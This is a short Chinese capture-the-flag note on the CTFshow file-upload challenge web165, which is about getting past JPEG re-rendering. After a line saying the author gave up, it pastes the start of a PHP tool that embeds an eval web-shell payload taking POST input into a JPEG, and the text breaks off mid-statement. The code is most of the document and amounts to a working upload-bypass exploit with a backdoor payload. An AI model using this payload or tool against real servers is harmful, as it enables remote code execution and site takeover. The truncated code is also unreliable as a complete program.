CTFshow 文件上传 web165

---

思路

上传jpg图片,返回包可以看出经过了二次渲染

试了很多次,群里的jpg哪来也没成功,放弃了

<?php
    $miniPayload = '<?php echo 123;eval($_POST[0]);?>';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
   
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
   
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
   
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
   
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
   
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if(